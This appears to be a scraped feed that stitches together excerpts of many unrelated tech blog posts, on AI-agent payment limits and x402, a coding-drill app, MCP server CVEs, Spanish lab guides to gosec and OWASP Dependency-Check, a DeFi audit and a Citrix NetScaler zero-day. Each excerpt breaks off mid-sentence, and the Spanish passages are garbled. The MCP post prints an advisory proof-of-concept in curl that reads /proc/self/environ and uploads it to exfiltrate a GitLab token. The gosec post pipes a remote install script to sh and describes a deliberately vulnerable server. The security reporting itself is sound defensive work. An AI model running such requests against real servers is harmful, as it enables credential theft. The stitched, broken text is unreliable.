Never put the limit in the agent's prompt — enforce it outside the agent, at the payment layer. A per-payment cap the agent cannot raise, a daily ceiling with a kill switch, and a scored confidence gate that auto-approves cheap high-confidence spends, holds medium ones for review, and blocks everything else. Every decision logged. This is the week the question went from theoretical to personal. Between Sept 22–26, 2026, four independent signals landed: Sept 24 — WIRED (Zoë Schiffer): her AI agent "saved me $550, booked my restaurant reservations, and warned me about a phishing scam. It also wasted $64 and might be a security nightmare." A $64 mistake with no authorization step is a budget line; at scale it's a balance sheet. Sept 24 — Tony Siqueira, LinkedIn: "You ask for one specific result. They deliver something you expressly rejected, use your money to produce it, and then tell you to buy more credits." His question: What did I authorize? What will it cost? Who pays for a failed attempt that ignored a clear instruction? Sept 22 — six banks (BofA, Capital One, ING, NatWest, ASB, CBA): consumers are "concerned that AI agents may buy the wrong thing or spend too much." Sept 25 — three regulators at GFF 2026 (NPCI, SEBI, MAS): AI agents may determine intent but should not independently authorize payments. The pattern across all four: the agent's judgment about whether to spend is not the control. The control is what sits between the agent and the money. Identity is the budget. Coinbase's production pattern (Coinbase for Agents, stocks + x402 added Sept 22) runs the agent against an isolated portfolio — each x402 payment capped at 5 USDC. The agent can't spend what isn't in its wallet. A cap written in the agent's instructions is a suggestion the agent can talk itself out of. The cap must live in the layer the agent's model output cannot reach: the payment facilitator, the tool proxy, or the gateway. A rule in a system prompt is a request; a rule enforced at the gate
I used to read a solution, nod, and move on. A week later I could not write the same thing from scratch. Understanding something while it is on the screen and being able to produce it yourself are different skills, and only the second one helps in an interview or on a real project. That is why I built Daily Coding, a free web app of short drills for JavaScript/TypeScript, SQL and page building. Each drill is small enough to finish in a minute or two. You answer it, and if you get it right it comes back later. If you get it wrong, it comes back sooner. Repetition is the whole idea: the same basics, seen again until you stop having to think about them. When you answer wrong, you do not just see the correct answer. You get a hint first, so you can have another go. If you are still stuck, you get a step-by-step explanation of how to reach the answer. Here is the kind of problem I mean: const result = [1, 2, 3] .map(n => n * 2) .filter(n => n > 2); console.log(result); What does this print? The answer is [4, 6]. A wrong answer here is usually [2, 3] or [6], which comes from mixing up the order of the two steps. The hint would say "check which method runs first". The explanation walks through it: map doubles every item, giving [2, 4, 6]. filter keeps items greater than 2, so 2 is dropped. The result is [4, 6]. Nothing here is advanced. That is the point. These are the basics people say they know, and then hesitate over when typing them without help. It is a test version, so I would like to hear what is wrong with it: Are the drills the right size, or too easy or too fiddly? Do the explanations actually help, or do they just restate the answer? Which basics are missing that you would want to practise? If you have been coding for years, do the drills feel honest, or are any of them misleading? You can try it here: https://daily-coding-drills.netlify.app It is free and has no ads. Tell me what you think in the comments.
Payment protocols answer what was paid. Identity frameworks answer who acted. Nothing answered under what terms, governed by what law, and with what recourse — until the Legal Context Protocol. On June 24, 2026, the American Arbitration Association (AAA) and Integra Ledger launched LCP: an open standard that puts a merchant's legal terms, consent record, and dispute path at one predictable URL — https://{domain}/.well-known/legal-context.json — so an AI agent can verify what it's agreeing to before any payment fires. On September 23, 2026, PYMNTS ran the story that turned LCP from a June spec into a news cycle: "A budget for a purchase is not permission for every choice an agent makes inside it." A shopper who tells an agent "book a vacation under $3,000" approved a budget — but the agent can pick the airline, accept a nonrefundable fare, add insurance, and split charges across cards without asking again. Until LCP, no record existed of which decisions the shopper approved and which the agent made alone. Only 23% of U.S. consumers trust AI to handle payments (PYMNTS, Sept 23, 2026) — while retailers like Target already treat an agent's choices as the customer's own. That's not a protocol problem. It's a consent ledger problem. Before transacting, an AI agent fetches /.well-known/legal-context.json from the counterparty's domain over HTTPS. The only required field is terms — an absolute URL to a standalone, downloadable terms document. No blockchain. No API keys. No third-party service. { "terms": "https://your-domain.com/terms.html", "atr": "sha256:9f2c…ab41", "dispute_resolution": "https://www.adr.org/" } Optional fields add provability (SHA-256 ATR hash proving exactly what the terms were at transaction time), explicit acceptance, and dispute-resolution hooks. Any web server can implement LCP in minutes by serving one JSON file. Level What the agent gets When to use it 1 — Informational Terms discoverable; proceeding = implicit consent Low-value reads, micropaymen
A small SaaS should choose a hosted metrics dashboard API by testing whether it can preserve four incident signals across a rollback: request outcomes, latency, queue age, and deployment identity. The cheapest-looking chart is irrelevant if a reverted release changes labels, duplicates counters, or erases the boundary between the faulty version and the recovery. Start with the retention bill, keep the evidence needed to reconstruct a customer-support incident, and treat charts and alerts as replaceable views over that evidence. Short answer: send bounded, versioned metrics from the application, retain enough regional and deployment context to compare US and EU behavior, and evaluate any hosted service through export, replay, and rollback drills. Do not let the dashboard become the only audit trail. For custom application metrics, the dominant term is usually not the number of attractive charts. It is the number of time series retained over time: every metric name combined with every distinct label set produces another series. A support endpoint labeled by region, operation, outcome, and release stays bounded; adding customer_id, ticket_id, or raw error text makes its cardinality track business activity and defeats a predictable retention plan. Put numbers on the design before choosing an API. Consider an explicit planning model, not a benchmark: 4 signals, 2 regions, 6 operations, 3 outcomes, and 2 simultaneously relevant releases produce at most 288 active combinations. A customer identifier with 10,000 possible values would multiply the model into millions of combinations. The exact storage charge depends on the service, aggregation, scrape or push interval, and retention policy, but the architectural result does not: bounded dimensions are suitable for metrics; incident-specific identity belongs in a durable event record. For a small Node.js SaaS backed by Postgres, the runtime and database do not change that arithmetic; they change where the durable event can be
x402 Agent Spending Guard: Give Your Agent a Budget Before You Give It a Wallet On September 30, 2026, x402-seatbelt shipped — a free, open-source, zero-dependency npm package (plus a Python version, agentseatbelt on PyPI) that checks every x402 payment before it leaves your machine: budget cap, per-payment cap, emergency stop, and an optional Pay Safe verdict (GO / CAUTION / STOP). The justification is first-party monitor data from the author's own paid-x402-API monitor: of 27,499 endpoints tracked on September 30, 2026, 2,777 failed their last health check and 1,495 charged more than their own directory listing. (Source: dev.to/gntechtools) This isn't a one-off — the ecosystem landed the same answer this week from six directions: Guard Enforces x402-seatbelt (Sept 30) maxTotalUsd + maxPaymentUsd, parallel reservations, stop(), Pay Safe GO/CAUTION/STOP StableCoinManager / ERPC (Sept 25–27) Ceilings enforced in code; agent can only LOWER limits at runtime; fails closed; paid a real 1.21 EURC invoice on Base x402-agent-wallet (mid-Sept) $1/day, $0.10/request max, $0.05 approval threshold; only settled spends consume budget; HMAC-signed verdicts thebuyside-x402-agent (mid-Sept) $0.05/call, $1/day rolling, host allowlist, confirm-before-pay default x402 Foundation @x402/mcp (Sept 24) spendControls, $1 default cap, policies filter before wallet signs Countersign @countersign/x402 (Sept 18) Pre-flight allow/deny/needs_approval; decides, never signs The mental model: the guard answers "can we afford it" (fail-closed rules). The decision gate answers "should it happen at all" (confidence scoring → auto-pay / human confirm / block + escalate). Notice the guards already speak the gate: x402-agent-wallet's $0.05 approval threshold IS the confirm band. Pay Safe CAUTION IS the confirm band. Countersign's needs_approval is the confirm band. We ran both sides through our live decision gate tonight: Legit $0.03 whitelisted payment → 0.0714 → escalate $2.50 retry-loop attack (50x o
Everyone keeps asking me if they should block ChatGPT from their website. So I went and looked at what businesses in Houston are actually doing, and the answer surprised me: almost nobody is blocking AI. Their sites just aren't built in a way AI can read. Here's what I did and what I found. The full dataset is public if you want to poke at it [links at the bottom]. I pulled every business in the Houston metro that lists a website in OpenStreetMap, deduped by domain, and ended up with 3,014 sites. Anything sharing a domain across 3 or more locations got treated as a chain, which left 2,474 independents. For each site the crawler fetched three things, once: robots.txt, llms.txt, and the homepage. It identified itself with its own user agent and skipped any site whose robots.txt told it to stay out. It runs on a Cloudflare Worker with HTMLRewriter, which streams the HTML so attribute order doesn't matter and a heavy page doesn't blow up memory [I cap it at 1.5 MB]. Four checks made up what I call the "AI-ready basics": robots.txt lets the AI search crawlers in (OAI-SearchBot, ChatGPT-User, Claude-SearchBot, PerplexityBot, plus Googlebot and Bingbot since they feed AI Overviews and Copilot) at least 120 words of readable text in the raw HTML, before any JavaScript runs some kind of business schema in JSON-LD (LocalBusiness, Organization, etc) exactly one H1 31% pass all four 45% have no business schema at all 27% have no H1 19% show under 120 words before JavaScript runs (restaurants: 33%) 30% already serve an llms.txt, and several are clearly plugin-generated [one literally says "Generated by Rank Math SEO"] Chains weren't any better: 29% pass all four. Only 1.6% of independents block an AI search crawler in robots.txt. I evaluated rules per crawler token for the homepage path using RFC 9309 longest-match, so a site that blocks /search but not / doesn't count as blocked. Training-only tokens (GPTBot, ClaudeBot, Google-Extended, CCBot) are reported separately, since blo
Protocol Upgrade Compatibility Review: Sky Lending Target Protocol: Sky Lending (TVL: $5883.8M) Protocol Upgrade Compatibility Review – Sky Lending TVL: ≈ $5.88 B (Ethereum + L2s) Date of Review: 4 Oct 2026 Prepared by: [Your Name], Senior DeFi Security Researcher & Smart‑Contract Auditor Sky Lending is a high‑value, cross‑chain lending platform that aggregates liquidity across Ethereum L1 and several L2 roll‑ups (Optimism, Arbitrum, zkSync). The protocol’s core contracts are upgradeable via a Transparent Proxy (EIP‑1967) pattern controlled by a multi‑sig DAO (4‑of‑7). The purpose of this review was to assess upgrade compatibility – i.e., whether future contract upgrades can be performed safely without breaking existing state, exposing new attack surfaces, or violating the protocol’s economic guarantees. Area Verdict Critical Issues Overall Impact Proxy & Storage Layout ✅ Acceptable, but 2 high‑severity incompatibilities detected 1️⃣ Storage slot collision in InterestRateModelV2; 2️⃣ Un‑initialized storage gap in RewardsDistributor High – could corrupt user balances or reward accruals on upgrade Governance & Timelock ✅ Robust, but 1 medium‑severity governance bypass 3️⃣ “EmergencyPause” function callable by any address with PROPOSER_ROLE due to missing onlyGovernor guard Medium – could be abused to freeze the protocol during an upgrade Cross‑Chain Bridge Integration ✅ Well‑abstracted, but 1 low‑severity replay‑attack vector 4️⃣ Missing chainId check in BridgeExecutor when processing L2→L1 messages after upgrade Low – limited to bridge relayers Upgrade Authorization Logic ✅ Multi‑sig DAO, but 1 medium‑severity “upgrade‑to‑self” risk 5️⃣ Proxy admin can be set to a contract that itself is upgradeable, enabling a “self‑destruct‑upgrade” path Medium – could lead to loss of upgrade control Testing & Formal Verification ✅ Good coverage, but 1 medium‑severity gap 6️⃣ No invariant test for “totalSupply == sum(userDeposits + accruedInterest)” after upgrade Medium – could hid
Between Monday morning and Tuesday night this week, four Model Context Protocol servers published CVE records for the same basic failure: every tool they expose is reachable with no authentication. A GitLab server that reads any file on its host and uploads it wherever the request asks. A gateway that runs a program chosen by whoever can POST to it. A MySQL tool that hands its database and filesystem to the network. And an IBM sandbox whose escape comes down to two string concatenations. NVD published all four records in roughly 35 hours. I write about MCP security most weeks. On Tuesday I published a plain-language primer on the attack classes (What Is MCP Security? Common Attacks and How to Scan Your MCP Servers), and my working theory has been that the protocol's real risk lives in defaults, not in exotic prompt injection. This week read like a validation set. I pulled all four NVD records, the GitHub advisories, and the fix commits this morning, and as of publish time I found zero writeups on Hacker News or Dev.to for any of the four. A fifth record belongs in this story: LiteLLM's MCP authentication bypass has been on CISA's KEV list since September 2 and is, per CISA's coordinator scoring, under active exploitation. Here is the first one, in the advisory's own request shape: # From GHSA-cv3r-c5h8-f4g5 (CVE-2026-61560), request shape simplified from the # advisory's own PoC. Run against hosts you own only. # 1. Connect to the SSE endpoint and capture a session id. No auth required. curl -N http://target:3002/sse # 2. Ask the server to read any local file and upload it into a GitLab project. curl -X POST "http://target:3002/messages?sessionId= " \ -d '{"tool": "upload_markdown", "args": {"file_path": "/proc/self/environ"}}' # 3. Retrieve the upload from the GitLab project. The environment file contains # GITLAB_PERSONAL_ACCESS_TOKEN, which is the whole GitLab account. No login screen. No exploit code I had to write. The file read is a feature the tool advertises
En los laboratorios analizamos el código de una aplicación con SonarCloud, gosec, el analizador Para demostrar que la herramienta funciona de verdad, la aplicamos a una 17 hallazgos, cinco de ellos de severidad alta. gosec analiza el código buscando patrones que se sabe que son peligrosos: credenciales o claves privadas escritas en el fuente comandos del sistema construidos con variables rutas de archivo tomadas de entrada externa algoritmos de hash débiles consultas SQL por concatenación de cadenas redirecciones y plantillas construidas con datos del usuario Cada regla tiene un identificador (G###), una severidad y un CWE asociado, curl -sSfL https://raw.githubusercontent.com/securego/gosec/master/install.sh | sh gosec -no-fail -fmt=json -out=informe.json ./... Un detalle que puede arruinar el resultado: gosec necesita el compilador de Go Files: 0, lo que parece un Es un servidor web pequeño, en un solo archivo, con seis rutas. Cada una contiene Ruta Fallo introducido /saludo plantilla HTML sin escapar y redirección con datos del usuario /descarga escritura en ruta construida sin restringir /archivo lectura de archivo con ruta de la petición /token secreto concatenado sin validar /tipo comando del sistema con valor del usuario /hash MD5 y SHA1 para derivar contraseñas No está publicada en ningún servicio y no debe usarse con datos reales. Es un Resultado real de gosec -no-fail -fmt=json: Severidad Regla Línea Hallazgo HIGH G101 30 Credencial escrita en el código HIGH G101 33-35 Clave privada RSA embebida HIGH G702 39 Inyección de comandos por análisis de taint HIGH G703 45 Recorrido de rutas por análisis de taint HIGH G703 51 Recorrido de rutas por análisis de taint MEDIUM G112 138-143 Slowloris: falta ReadHeaderTimeout MEDIUM G202 56 Concatenación de cadenas en SQL MEDIUM G204 39 Subproceso lanzado con variable MEDIUM G304 45 Inclusión de archivo vía variable MEDIUM G401 70-71 Primitiva criptográfica débil MEDIUM G401 70 Primitiva criptográfica débil MEDIUM G501 1
En los laboratorios anteriores revisamos el código con SonarCloud, Snyk y las dependencias. La herramienta es OWASP Dependency-Check, Cuando escribes dotnet add package Npgsql.EntityFrameworkCore.PostgreSQL, lo Una dependencia vulnerable no se ve leyendo tu repositorio. Se ve consultando El proyecto de ejemplo es una API en ASP.NET Core 8 con PostgreSQL. Su grafo de 20 paquetes transitivos: Microsoft.EntityFrameworkCore 8.0.10 Npgsql.EntityFrameworkCore.PostgreSQL 8.0.10 Microsoft.AspNetCore.Authentication.JwtBearer 8.0.10 Swashbuckle.AspNetCore 6.9.0 Microsoft.IdentityModel.Tokens 7.1.2 Npgsql 8.0.5 System.Collections.Immutable 6.0.0 ... (14 más) La herramienta de NuGet consulta esa misma base de vulnerabilidades: dotnet list TaskFlow.Api/TaskFlow.Api.csproj package \ --include-transitive --vulnerable Resultado: The given project `TaskFlow.Api` has no vulnerable packages given the current sources. Cero vulnerabilidades conocidas en el grafo completo, incluidas las Dependency-Check hace lo mismo pero con su propia base de datos, que es la dependency-check --project "TaskFlow API" \ --scan TaskFlow.Api \ --out informes/dependencias \ --format HTML --format SARIF \ --failOnCVSS 7 Dos diferencias con la herramienta de NuGet: La base es de la OWASP, no de NuGet. NuGet solo conoce los paquetes que él Puede generar SARIF, que GitHub interpreta y muestra anotado en el pull La base de avisos de la NVD contiene, a la fecha, más de 400.000 registros. https://nvd.nist.gov/developers/request-an-api-key Las ejecuciones siguientes usan la copia en caché. Por eso el escaneo va - name: OWASP Dependency-Check run: | dependency-check \ --project "TaskFlow API" \ --scan TaskFlow.Api \ --out ./informes/dependencias \ --format HTML \ --format SARIF \ --data ~/.gradle/caches \ --failOnCVSS 7 Tres decisiones: --failOnCVSS 7. El escenario falla solo ante vulnerabilidades altas o --format SARIF. El resultado se sube a GitHub Security y aparece anotado Ejecución semanal. La base de avisos ca
In the early hours of Thursday, Singapore time, a repository appeared under the browser-use organization with the description "i. am. speed." By early Friday afternoon it had 2,829 stars and 160 forks, still climbing between two API reads I made minutes apart. Its entire commit history is two commits, by one person. Around it, more than twenty new repositories with jev or typesafe in the name appeared within roughly 48 hours, and a few of them were created before the demo repo they orbit. I pulled the GitHub API on the canonical repo and every derivative I could enumerate, because Dev.to already had seven Jev explainers this morning and none of them reads the wave itself. I maintain a small MCP security scanner and recently wrote about a fake ecosystem engineered to pass the ninety-second vetting ritual we run on repo pages, so star counts as evidence is a professional interest. Here is the five-check routine I ran, what it found, and what it could not settle. # Check 1 and 2 in one call: age versus velocity, then who built it. # Run against any repo in a wave, no token needed for public repos. curl -s https://api.github.com/repos/browser-use/jev-ultrafast \ | python3 -c " import json, sys r = json.load(sys.stdin) print(r['created_at'], '|', r['stargazers_count'], 'stars,', r['forks_count'], 'forks,', r['open_issues_count'], 'issues') " # Observed 2026-09-18, 13:15 SGT: # 2026-09-16T21:30:12Z | 2829 stars, 160 forks, 19 issues That one command is most of the work. The other checks are what you do with the answer. The wave is two things sharing one name. TypeSafe's Jev is a model, launched to a Hacker News thread that reached 1,863 points and 491 comments. jev-ultrafast is a demo agent built on top of it by Gregor Zunic, one of the browser-use founders, and published under the browser-use organization. The thread is the marketing event; the repo is the artifact you can actually read. The README is short and mostly mechanics, which I appreciated. A browser agent usual
Daily requests from AI agents on Cloudflare's network grew by more than 1,700% over the past year, and for the first time more than half the traffic Cloudflare carries is not human (Source: Cloudflare, 2026). Every one of those requests needs a browser session to land in, and almost none of the work that made models reliable in 2024 touched that layer. The bottleneck moved below the model. A human audit published this week walked all 165 tasks of WebArena-Lite under six conditions and found that automatic evaluators missed between 5.45 and 8.49 percentage points of real task success (Source: arXiv, 2026). The same paper then read the 102 failed trajectories and found the failures were not reasoning failures at all. They were scrolling loops, expired sessions, clicks that never landed, and half-filled forms (Source: arXiv, 2026). Give the agent better execution state and a procedural guide, and corrected success on those tasks moved from 34.55% to 38.18% (Source: arXiv, 2026). Memory scaffolding alone lifted an untrained 9B model from 13.90% to 18.80% (Source: arXiv, 2026). None of those gains came from a smarter model. They came from the agent keeping track of where it was. The gap exists because identity is not a property of your code. A page inspecting a session sees a screen size, a GPU string, a font list, a timezone, a language, a TLS handshake signature, and an event stream. A patched browser engine decides those values inside the engine, where a page cannot tell a reported value from a faked one (Source: GitHub, 2026). That is why the open-source agent stacks arriving this autumn ship browsers rather than wrappers. The popular one patches a real Firefox engine in C++, keeps one coherent identity per seed so screen, fonts, GPU, timezone, and language agree, and leaves nothing for a page to find: no WebDriver flag, no DevTools protocol, no automation globals (Source: GitHub, 2026). It still accepts any model through a one-line switch, because the model was neve
Introdução Testar um sistema não é apenas “rodar o programa e ver se não quebrou”. Formalmente, testes de software é o processo de avaliar um sistema para encontrar diferenças entre o comportamento esperado e o real, e construir confiança de que o sistema faz o que deveria fazer. Duas noções que não podem ser confundidas: Verificação: Are we building the product right? O software está de acordo com a especificação/design? É o território dos testes técnicos (unitários e integração) Validação: Are we building the right product? O software resolve o problema real do negócio? É o território de aceitação, UAT, testes exploratórios. Usando um caso real de testes para entender as duas noções na prática: GetDiferencaDataEmMeses_DeveRetornarDiferencaCorreta Verificação: a função implementa corretamente a regra de cálculo de diferença em meses. Validação: confirmar com a área de negócio que essa métrica é, de fato, a correta para aquele cálculo de benefício, o teste automatizado sozinho não garante isso. Por que testamos: o custo crescente do erro O argumento central é econômico: o custo de corrigir um defeito cresce exponencialmente quanto mais tarde ele é descoberto (o clássico "custo crescente do erro", popularizado por Boehm). No domínio do usuário (BPO previdenciário/fiscal): um bug no cálculo de GetDiferencaAnos (que define elegibilidade a um benefício) encontrado por um teste unitário custa minutos. O mesmo bug encontrado em produção pode significar cálculo errado de benefício para centenas de participantes, retrabalho manual, risco regulatório (e-Financeira é fiscalização da Receita Federal) e dano de confiança. Os três pilares de todo teste Testar é uma atividade de equilíbrio entre três forças: Correção: o sistema faz o que deveria fazer. Confiança: o quanto a suíte de testes permite mudar o código sem medo. Esse é o verdadeiro ROI de testes: não é "achar bugs", é permitir mudança segura. Custo: tempo para escrever, rodar e manter os testes. Testes mal escritos (frá
On September 22, 2026, six global banks — Bank of America, Capital One, ING, NatWest, ASB Bank, and Commonwealth Bank of Australia — published "Building Trust in Agentic Commerce," and if you build agents that move money, this paper is your spec sheet. What they demand: Auditable records of consumer instructions, authentication, intent, transaction decisions and outcomes — including warnings and interventions — so scams can be investigated, money recovered, disputes resolved. Disclosure whenever an AI agent is involved in a transaction. Greater transparency over how AI agents make decisions. Safeguards for customer data. The risks they name: agents "may buy the wrong thing or spend too much — or even worse, lose their money to scams and fraud." Agents requesting card details and entering them directly into websites. Agents steering users toward payment methods with weaker protections. Merchants facing chargebacks from decisions they didn't control. (These are principles for discussion with policymakers, not rules in force — but they're the clearest demand signal yet.) The field's answers: Mastercard: AgentCard + Agent Pay — Rolling out with Alchemy this week (WSJ): virtual cards assigned to individual AI agents, with the network itself enforcing total spend caps, allowed product categories, and a kill switch. Verifiable Intent records who authorized the agent, what it was instructed to do, and the transaction that followed. Card-shaped: protects human cardholders from their agents. Visa: scoped tokens — Intelligent Commerce + OpenAI: hard scope limits baked into the token at issuance. A grocery-shopping token can't book travel; a $200-capped token can't clear $500. Revocable in real time at the network level. Policy lives outside the model — a hallucinating agent can't talk its way past the cap, but a confident in-scope agent still spends with zero judgment about this specific payment. Google AP2 — The Agent Payments Protocol (Sept 2025, Google Cloud + Coinbase, 60+
This devlog showcases my Blueprint-based sprint and stamina system and its integration with the player’s health and thirst. Hydration decreases at a normal rate while walking. Sprinting consumes stamina and accelerates hydration loss, giving faster movement an additional resource cost. Once stamina is depleted, the extra hydration drain from sprinting stops, while the normal drain continues. If hydration reaches zero, the player begins losing health. These connected systems make resource management part of traversal. Players need to balance speed with their physical condition, using drinks to restore hydration and medkits to recover health. The UI tracks each stat and highlights critical levels, providing clear feedback as resources run low. https://youtu.be/_LT4jW5UfkU
The x402 Foundation — the Linux Foundation body stewarding the x402 machine-payment protocol — has 40 member organizations as of its July 14, 2026 operational launch. Every article covers the announcement; nobody published the full roster as infrastructure intelligence. So here it is: all 40, by tier, with what each heavy hitter structurally adds. April 2, 2026: intent to launch at the MCP Dev Summit ("4/02 Day"). Coinbase contributes x402 to the Linux Foundation. 22 founding members. Coinbase, Cloudflare, and Stripe become co-founders with elevated governance roles. July 14, 2026: operational launch. 40 member organizations. Adyen, Amazon Web Services, American Express, Circle, Cloudflare, Coinbase, Fiserv, Google, Mastercard, Monad Foundation, MoonPay, Ripple, Shopify, Solana Foundation, Stellar Development Foundation, Stripe, Visa. What the key ones add: the card networks (Visa, Mastercard, Amex) stretch the spec to "traditional cards to stablecoins" — this is a web-payments rail now, not a crypto rail. Ripple brings XRP + RLUSD settlement on the XRP Ledger. Stellar brings a second non-EVM settlement path. Circle issues USDC, the asset doing essentially all current volume. AWS and Google bring cloud scale (both have exec quotes in the launch release). Aleo, Fireblocks, Galaxia Moneytree, Hecto Financial, Injective, KakaoPay, Kite AI, LayerZero Labs, Merit Systems, NEAR Foundation, Orthogonal, Polygon Labs, Quant Network, SKALE, t54 labs, utexo, World Liberty Financial, zerohash. BSV Association, Cardano Foundation, Casper, Japanese Contents Blockchain Initiative, OMA3. Membership is governance, not volume. Per an ecosystem tracker's corrected August 2026 figures, USDC accounts for roughly 99.99% of trailing-90-day agentic transfer volume. Ripple and Stellar diluted the USDC monoculture at the governance layer; the settlement asset barely moved. The direction matters more than the decimal: governance diversified faster than volume. x402.org's dashboard (read Septe
Robin Winters · October 3, 2026 · Native iOS engineering and fitness technology This standalone teaching example and article were prepared with coding-assistant support. The events are synthetic. The code is separate from ShowFlex, whose shipped iPhone product is available on the App Store. A search controller can correctly reject stale requests while its view adapter still publishes the wrong state. The useful question is not only whether the controller owns its result: it is whether the task waiting for that result still owns the screen. The public controller already checks a revision before publishing success, failure or cleanup. Its new native SwiftUI demo makes the surrounding adapter explicit. It searches three synthetic fitness-event titles, selects by identifier and exposes clear, cancel, error/retry and a deliberately troublesome request race. The controller has plain state properties. The adapter conforms to ObservableObject, publishes the state the interface reads and owns the controller. The view holds the adapter with @StateObject. These are established SwiftUI state-object and Combine observable-object mechanisms; this example uses them to preserve the declared iOS 16 minimum. Starting a search immediately copies the controller's loading state, empty results and cleared selection. When the returned task settles, the adapter copies the completed state only if its own version still matches the version captured when it started waiting: version += 1 let ownedVersion = version let pending = controller.search(query) publish() Task { [weak self] in await pending?.value guard let self, self.version == ownedVersion else { return } self.publish() } This excerpt shows the ownership rule; the full source also handles an empty query before creating the waiting task. The adapter version protects its activity text and state-copying path. The controller revision protects the underlying results. The two checks sit at different boundaries. The Race demo control starts a
Jev is a week old and already the most interesting model launch of September 2026. TypeSafe AI — founder Diogo Almeida (ex-OpenAI, ChatGPT research), two years in stealth, $40M seed led by DCVC — shipped a model that refuses to generate text. You send it state (text or JSON) plus questions with predefined answers. It returns typed decisions: Choice (one of up to 255 options), Score (numeric rating), Noul (yes/no with probability) — each with calibrated confidence. All questions evaluate in one forward pass. 70–500ms. $0.042 per million input tokens, output free. Week-one traction is real: 140,000+ waitlist cleared in days, X trending, 12,759 tweets analyzed by OpenChamber, 1,500+ Hacker News points with 426 comments in a day, Vercel AI Gateway availability, and community builds (jevchat, jev-2048, an open-weight "Kev" on Qwen). Simon Willison covered it and shipped an llm-typesafe plugin the next day. The "20–200x faster, 40–400x cheaper" figures are TypeSafe's own launch evaluations — not independently validated. Willison's critique is worth sitting with: a model that returns only a floating-point number is "a regression even further towards black box machine learning." Type safety constrains the form of the answer; decision quality still has to be measured separately. Jev is named for the Jevons-paradox insight: make a decision cheap enough and software makes far more of them. A 1,000-token decision costs about $0.000042 in model cost. That flips the business model. Every decision becomes a billable event, and subscriptions stop making sense at that unit size. The native billing is per-call micropayments: x402 — the server answers an unpaid request with a 402 Payment Required challenge (price, asset, network, payTo), the buyer's wallet signs and retries, a facilitator settles on-chain. This isn't theoretical. ProBlocks runs a live x402 endpoint on Base at 0.001 USDC per call (September 2026). My own shop runs an x402 v2 payment contract live on Base — curl https:/
BlackRock's Digital Assets Research team published an 11-page paper on September 22, 2026 — "The Machine-Native Economy: How digital assets connect intelligence, commerce, and compute" — and the crypto press ran with the headlines. I read the full PDF. Here's what's actually in it, what the coverage gets wrong, and the part nobody is writing about. "AI represents machine-native intelligence, while digital assets represent machine-native money." Both are built on tokenization — LLMs encode language as tokens, blockchains encode value as tokens. As agentic AI starts making purchases and initiating financial transactions, machines need payment rails built for machine-speed commerce. Legacy rails don't fit: merchant fees kill sub-cent transactions, ACH settles in about a business day, and account setup may need a human. Page 5: x402 is "an open payment protocol developed by Coinbase" that "uses the HTTP 402 'Payment Required' status code to facilitate machine-initiated payments" — blockchain-agnostic, USDC as an early use case, "emerging as one potential standard for high-velocity M2M transactions." The worked example: a human asks an agent to book travel within a budget. The primary agent uses MCP connectors, delegates to a travel sub-agent via A2A, the sub-agent pays for airfare and hotel-rate APIs via x402 settled on-chain, and the primary agent completes reservations via ACP. Stablecoins: >$300B circulating market cap (September 2026) $11.2T adjusted 2025 transaction volume — vs Visa $16.7T and Mastercard $10.6T 80% CAGR 2020–2025, vs ~8.5% for ACH AI capex: >$5T between 2025 and 2030 Hyperscaler cloud revenue ~$1.1T by 2030 (29% CAGR) It's not an x402 endorsement. The paper names five competing rails: x402 (Coinbase), MPP (Stripe + Tempo), ACP (Stripe + OpenAI), AP2 (Google), TAP (Visa). x402 is "one potential standard," not the winner. The paper says the agent economy is early. Verbatim: "agentic payment activity remains nascent today." Anyone quoting this paper a
How to Monetize an MCP Server: Per-Call x402 Payments (With Live Receipts) There are 20,000+ MCP servers in the wild and fewer than 5% have any monetization. The guides that rank for "how to monetize an MCP server" are vendor pitches, Stripe subscription tutorials, or marketing calculators — none shows a live payment receipt. Here's the receipt-first version. I run ScriptMasterLabs; we bill x402 on our MCP/HTTP tool infra on Base. Per-call x402 billing: your server answers each unpaid tool call with a 402 Payment Required challenge carrying price, asset, network, payTo address, and expiry. The agent's wallet signs the payment authorization, retries the same call, and a facilitator verifies and settles it on-chain. No accounts, no API keys, no checkout pages. Receiving a challenge costs the caller nothing. 1. The x402 payment manifest: curl https://squeezeos-api.onrender.com/.well-known/x402 Returns a live machine-readable contract: operator SCRIPTMASTERLABS, network eip155:8453 (Base), asset USDC (0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913), payTo 0xc29185fa176357612f3194735753e520e91adc46, facilitator https://api.cdp.coinbase.com/platform/v2/x402, challenge header PAYMENT-REQUIRED, MCP endpoint https://squeezeos-api.onrender.com/mcp, identity registered on the ERC-8004 agent registry (agent id 74033). Verified live September 22, 2026. 2. A live MCP handshake: curl -X POST https://mcp-x402.onrender.com/mcp \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-03-26","capabilities":{},"clientInfo":{"name":"probe","version":"0"}}}' Answers with serverInfo: {"name": "mcp-x402", "version": "2.1.11"} and tool capabilities live. On tools/call without a payment credential, return the payment terms — JSON-RPC error data on the MCP transport, or 402 + PAYMENT-REQUIRED header over HTTP. Verify the buyer's signature through a facilitator (ours points at the
[ internet ] ──► ┌──────────────────────┐ ──► [ your VPN users ] │ NetScaler ADC / GW │ │ CVE-2026-88771 9.5 │ unauthenticated │ CVE-2026-88772 9.5 │ remote code execution └──────────────────────┘ Two zero-day remote code execution bugs in Citrix NetScaler ADC and NetScaler Gateway were confirmed actively exploited before any patch existed, and the first public warnings came from a Reddit thread, not the vendor. Citrix shipped fixes on September 27, but there is a detail buried in the advisory that most teams will miss: if you patched last month for the authentication bypass, your current build is still vulnerable to both of these. I was following the watchTowr thread on X when this broke, and cross-checked it against Citrix's advisory, the Tenable FAQ, and the r/Citrix threads before writing this. Everything below comes from those primary sources. One honesty note: I do not run a NetScaler fleet myself, so treat this as a triage plan built from public records, not field experience. Adapt the paths and endpoints to your environment. CVE-2026-88771 is improper input validation leading to unauthenticated arbitrary command execution. Citrix says it affects all deployments in the affected version range, with no extra feature needed to be enabled. That makes it the scarier of the two: if your appliance is in the range, the precondition is just reachability. CVE-2026-88772 is a memory overflow that can end in remote code execution or denial of service, and it requires DTLS to be enabled. That is the trap: DTLS is on by default for NetScaler Gateway VPN virtual servers unless someone explicitly turned it off. A "we don't use that feature" assumption does not protect a default install. Both score 9.5. Neither is related to the August authentication bypass pair, CVE-2026-19490 and CVE-2026-19489. Because the builds that fixed the last round of flaws are inside the affected range for this round. If you are on 14.1-73.32 or 13.1-63.21, the builds released August 19 for CVE-202
